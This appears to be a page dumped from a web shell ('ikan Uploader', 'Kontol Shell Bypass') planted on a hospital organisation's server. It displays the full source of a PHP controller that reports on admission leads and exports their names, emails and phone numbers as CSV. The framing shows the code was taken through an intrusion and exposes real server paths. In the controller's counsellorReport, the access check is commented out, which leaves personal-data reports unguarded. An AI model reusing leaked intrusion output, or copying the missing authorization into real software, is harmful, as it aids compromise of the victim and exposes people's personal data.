ikan Uploader :
Directory : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/
Upload File : |
| Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/Reportsnew.php |
<?php
class Reportsnew extends MY_Controller {
function __construct() {
parent::__construct();
not_logged_res();
ini_set('memory_limit', '2048M');
set_time_limit(3000);
$this->load->model("reportsnew_model", "report");
$this->load->model("reports_model", "rp");
$this->load->model("dataset_model", "dataset");
$this->load->model("user_model", "user");
}
function counsellorSummary($result){
$summary=['dispositions'=>[]];
$fields=['leads_count', 'app_verified', 'step2_count', 'paid_count', 'adm_offered_count', 'adm_final_count', 'followup_count',
'followup_leads_count', 'untouched_count', 'upcoming_count', 'overdue_count', 'emails_count', 'emails_leads_count', 'sms_count', 'sms_leads_count',
'issues_resolved_count', 'assigned_count', 'dead_count', 'dispositions'];
$dispositions=[];
foreach($fields as $f){
foreach($result as $r){
if($f==='dispositions'){
foreach($r['dispositions'] as $d){
$dispositions[$d['remarks']]=intval($dispositions[$d['remarks']])+$d['total'];
}
}else{
$summary[$f]=intval($summary[$f])+$r[$f];
}
}
}
foreach($dispositions as $k=>$v){
$summary['dispositions'][]=['remarks'=>$k, 'total'=>$v];
}
return $summary;
}
function counsellorReport(){
//$this->checkAccess(['callers_report', 'callers_report_byyou']);
$data['result']=$this->report->counsellorReport('Counsellor', $this->is_access('callers_report')?false:true);
$data['summary']=$this->counsellorSummary($data['result']);
$this->json_data($data);
}
function callerReport(){
$this->checkAccess(['callers_report', 'callers_report_byyou']);
$data['result']=$this->report->counsellorReport("Caller", $this->is_access('callers_report')?false:true);
$data['summary']=$this->counsellorSummary($data['result']);
$this->json_data($data);
}
function operationReport(){
$this->checkAccess(['callers_report', 'callers_report_byyou']);
$data['result']=$this->report->counsellorReport("Operation", $this->is_access('callers_report')?false:true);
$data['summary']=$this->counsellorSummary($data['result']);
$this->json_data($data);
}
function download($rp_name){
switch($rp_name){
case 'Leads':
$this->downloadLeads();
break;
case 'FollowUp':
$this->downloadFollowUps();
break;
case 'AssignedLeads':
$this->downloadAssignedLeads();
break;
case 'ResolvedLeads':
$this->downloadResolvedLeads();
break;
case 'DeadLeads':
$this->downloadDeadLeads();
break;
case 'SentEmailLeads':
$this->downloadSentEmailLeads();
break;
case 'LeadsIssues':
$this->downloadLeadsIssues();
break;
}
}
function downloadLeads(){
$rs=$this->report->leads();
$h=[
'SYSTEM ID', 'NAME', 'EMAIL', 'ISD CODE', 'MOBILE', 'COUNTRY', 'ACADEMIC CAREER', 'DISCIPLINE', 'PLAN', 'STEP', 'CREATED', 'DEAD STATUS'
];
$k=[
'application_no', 'name', 'email', 'isd_code', 'mob', 'country', 'ac', 'discipline', 'plan', 'step_completed', 'created', 'dead'
];
download_csv($rs, $h, $k, "leads-report");
}
function downloadFollowUps(){
$rs=$this->report->followUps();
$h=[
'SYSTEM ID', 'NAME', 'EMAIL', 'ISD CODE', 'MOBILE', 'COUNTRY', 'ACADEMIC CAREER', 'DISCIPLINE', 'PLAN', 'STEP', 'CREATED', 'DEAD STATUS', 'FOLLOWUP COUNT'
];
$k=[
'application_no', 'name', 'email', 'isd_code', 'mob', 'country', 'ac', 'discipline', 'plan', 'step_completed', 'created', 'dead', 'followup_count'
];
for($i=1; $i<=4; $i++){
$h[]="DISPOSITION-".$i;
$h[]="REMARKS-".$i;
$h[]="FOLLOWUP BY-".$i;
$h[]="FOLLOWUP DATE-".$i;
$h[]="FOLLOWUP TIME-".$i;
$k[]='remarks'.$i;
$k[]='subremarks'.$i;
$k[]='remarks_user'.$i;
$k[]='remarks_created'.$i;
$k[]='remarks_time'.$i;
}
download_csv($rs, $h, $k, "folloups-report");
}
function downloadAssignedLeads(){
$rs=$this->report->assignedLeads();
$h=[
'SYSTEM ID', 'NAME', 'EMAIL', 'ISD CODE', 'MOBILE', 'COUNTRY', 'ACADEMIC CAREER', 'DISCIPLINE', 'PLAN', 'STEP', 'CREATED', 'DEAD STATUS', 'ASSIGNED TO'
];
$k=[
'application_no', 'name', 'email', 'isd_code', 'mob', 'country', 'ac', 'discipline', 'plan', 'step_completed', 'created', 'dead', 'assigned_to'
];
download_csv($rs, $h, $k, "assigned-leads-report");
}
function downloadResolvedLeads(){
$rs=$this->report->resolvedLeads();
$h=[
'SYSTEM ID', 'NAME', 'EMAIL', 'ISD CODE', 'MOBILE', 'COUNTRY', 'ACADEMIC CAREER', 'DISCIPLINE', 'PLAN', 'STEP', 'CREATED', 'DEAD STATUS',
'RESOLVED BY', 'RESOLVED DATE'
];
$k=[
'application_no', 'name', 'email', 'isd_code', 'mob', 'country', 'ac', 'discipline', 'plan', 'step_completed', 'created', 'dead',
'resolved_by', 'resolved_on'
];
download_csv($rs, $h, $k, "resolved-leads-report");
}
function downloadDeadLeads(){
$rs=$this->report->deadLeads();
$h=[
'SYSTEM ID', 'NAME', 'EMAIL', 'ISD CODE', 'MOBILE', 'COUNTRY', 'ACADEMIC CAREER', 'DISCIPLINE', 'PLAN', 'STEP', 'CREATED', 'DEAD STATUS',
'DEAD BY', 'DEAD DATE'
];
$k=[
'application_no', 'name', 'email', 'isd_code', 'mob', 'country', 'ac', 'discipline', 'plan', 'step_completed', 'created', 'dead',
'dead_by', 'dead_on'
];
download_csv($rs, $h, $k, "dead-leads-report");
}
function downloadSentEmailLeads(){
$rs=$this->report->sentEmailsLeads();
$h=[
'SYSTEM ID', 'NAME', 'EMAIL', 'ISD CODE', 'MOBILE', 'COUNTRY', 'ACADEMIC CAREER', 'DISCIPLINE', 'PLAN', 'STEP', 'CREATED', 'DEAD STATUS',
'EMAILS COUNT', 'LAST EMAIL DATE', 'LAST EMAIL TIME', 'EMAIL SENT BY'
];
$k=[
'application_no', 'name', 'email', 'isd_code', 'mob', 'country', 'ac', 'discipline', 'plan', 'step_completed', 'created', 'dead',
'email_count', 'last_email_date', 'last_email_time', 'email_by'
];
download_csv($rs, $h, $k, "email-sent-leads-report");
}
function downloadLeadsIssues(){
$rs=$this->report->leadsIssues();
$h=[
'SYSTEM ID', 'NAME', 'EMAIL', 'ISD CODE', 'MOBILE', 'COUNTRY', 'ACADEMIC CAREER', 'DISCIPLINE', 'PLAN', 'STEP', 'CREATED', 'DEAD STATUS',
'ISSUE CAT', 'ISSUE', 'ISSUE DATE', 'ISSUE STATUS', 'ACTION DATE', 'ACTION BY'
];
$k=[
'application_no', 'name', 'email', 'isd_code', 'mob', 'country', 'ac', 'discipline', 'plan', 'step_completed', 'created', 'dead',
'issue_cat', 'issue', 'issue_date', 'issue_status', 'issue_updated', 'action_by'
];
download_csv($rs, $h, $k, "leads-issues-report");
}
/** */
function usersLoginHistiry($init=''){
$data=$this->report->usersLoginHistiry();
if($init){
$data['users']=$this->user->all_users();
}
$this->json_data($data);
}
function usersActivities($init=''){
$data=$this->report->usersActivities();
if($init){
$data['users']=$this->user->all_users();
}
$this->json_data($data);
}
}
//EOF
Kontol Shell Bypass